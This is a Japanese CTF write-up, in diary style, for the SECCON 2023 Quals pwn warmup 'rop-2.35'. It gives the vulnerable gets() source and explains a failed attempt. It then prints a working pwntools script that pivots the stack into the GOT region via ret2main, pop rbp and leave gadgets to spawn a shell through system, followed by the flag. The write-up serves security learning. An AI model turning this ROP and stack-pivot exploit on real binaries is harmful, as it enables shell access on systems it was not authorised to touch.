SECCON2023 Quals warmup rop-2.35のwriteupもどきの日記

# はじめに
どうも雑魚です．
今年のSECCONもwarmupだけしか解けませんでした．とても面白かったですね．
次回までに成長してもっととけるよう精進します（n回目）
![F6M9vkhbsAEeqO5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/96797a6b-fccd-bb61-d099-274bf7214bcb.png)

そんなpwnのwarmup問`rop-2.35`のwriteupをかこうと思ったのですが聞く限り僕の解法は遠回りぽい(?)のでwriteupもどきの日記として書きます．

# rop-2.35
>The number of ROP gadgets is declining worldwide.

配布ファイル
- chall(バイナリ)
- docker-compose.yml
- Dockerfile
- main.c

コードはこれだけでシンプルで面白い問題でした．
```c:main.c
#include <stdio.h>
#include <stdlib.h>

void main() {
  char buf[0x10];
  system("echo Enter something:");
  gets(buf);
}
```

まずどう見てもバッファオーバーフローが存在します．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/ce176a61-b861-1b5c-834e-f6aa817d7af0.png)

セキュリティ機構もほとんどありません．

僕はシンプルすぎて一見何をするのかわかりませんでした．
「問題文にropって書いてあるし典型的にlibcのgadgetとるんやろなー」
と思っていた時期もありました．


しかしやるとわかりますがlibc leakはたぶんできませんし配布ファイルにlibcもないです．

となると`chall`の`system`とかをを利用して解くのがそれっぽいです．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/e27db567-ee59-19c9-dd24-05d455024a5f.png)

`gets`を呼ぶとraxには渡したバッファのアドレスが入るので，`実行したいコマンド`を入力して`0x401169`の`system`の引数を設定しているとこに`ret2main`すれば行けそう．

という考えで書いた動かないsolver
```python:solver.py
from pwn import *

#io = remote("rop-2-35.seccon.games", 9999)
io = process("./chall")

system = p64(0x401169)

payload1 = b"sh\x00"+b"a"*0x15
payload1 += system

io.sendline(payload1)

io.interactive()
```

さあどうでしょう．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/4c9b1632-d600-2396-4ee8-82625731d96d.png)

いけませんね．これは`system`を呼ぶと`rax`がさしているスタックの値が`system`のローカル変数によって上書きされるからです．

なので`実行したいコマンド`の文字列を保存する領域と，`system`を実行するときのスタックをずらさなければなりません．

それを実現するために2回`ret2main`します．

一回目ではスタックを別の場所にずらし，二回目ではずらしたスタックに`実行したいコマンド`を入れてからスタックをもう一度ずらし`system`を実行します．

以下がsolverです．

```python:solver.py
from pwn import *

#io = remote("rop-2-35.seccon.games", 9999)
io = process("./chall")
# io=gdb.debug("./chall", '''
#    set follow-fork-mode parent
#    break main
#    continue
# ''')


system = p64(0x401169)

pop_rbp = p64(0x40113d)

add_rsp = p64(0x401190)

leave = p64(0x401183)

pivot1_addr = p64(0x00404100)
pivot2_addr = p64(0x00404990)


payload1 = b"a"*0x10
payload1 += pivot1_addr # rbpにpivot1_addr (gotの領域)
payload1 += system #ここでleaveするのでrspがpivot1_addrに (rsp = rbp)

io.sendline(payload1)

payload2 = b"sh\x00aaaaa"+b"a"*0x10 # 実行したいコマンドとパディング
payload2 += pop_rbp
payload2 += pivot2_addr # rbp に pivot2_addrを(gotの領域)
payload2 += leave # rspにpivot2_addr (rsp = rbp)
payload2 += b"b"*(u64(pivot2_addr)-u64(pivot1_addr)-0x18)+system # rspが変わるのでret addrも変わるよって一回目の時点でピボットしておいてパディングでどうにかする．

io.sendline(payload2)

io.interactive()
```

`pop rbp`のgadgetで`rbp`を`pivot2_addr`にして`leave`gadgetでrspを`pivot2_addr`にずらしています．
それにより`return addr`も変わるのでその分パディングを入れてから`system`を入れてます．

ここで`stack pivot`に使ったのが`GOT`のとこです．`checksec`でもわかるように`Partial RELRO`なので書き込めます．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/caab071a-944f-4f34-a444-a3ba3f10a65d.png)

心配なのは0x1000 byte以下でsystem関数のローカル変数が収まるかですがそれはヒューリスティックに運頼みです．近くの神社にでも祈りに行きましょう．（足りました☻）

さあ実行してみましょう！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/a4e00ec5-6d56-741e-c1e9-8778ce4658d7.png)


```
SECCON{i_miss_you_libc_csu_init_:cry:}
```

やったね！

ワシ「libc_csu_initってなんだっけ（（（（ｇｇｒｋｓ[^1]」

# 終
とても楽しかったです．運営ありがとうございました．

僕の環境はglibc2.37であることに最初気づいてなくてちょっとデバッグで苦労しました．
皆さんは問題鯖と自分の環境が違うときどうやってデバッグしてますか？良ければ教えてください😎．

本番中に解けた問題としてほかにrevのjumpoutがありましたがangrで一瞬だったので書きませんでした．

cryptoのwarmupは終了後にあることを知ってやったら普通に解けて悲しくなりました．（）

こんな駄文読んでくれてありがとうございました．

来年こそは！成長してもっと解けるようになります！！（（n回目


[^1]:https://inaz2.hatenablog.com/entry/2014/12/03/204939
https://hackmd.io/@t3mp/r1zt00V1j?utm_source=preview-mode&utm_medium=rec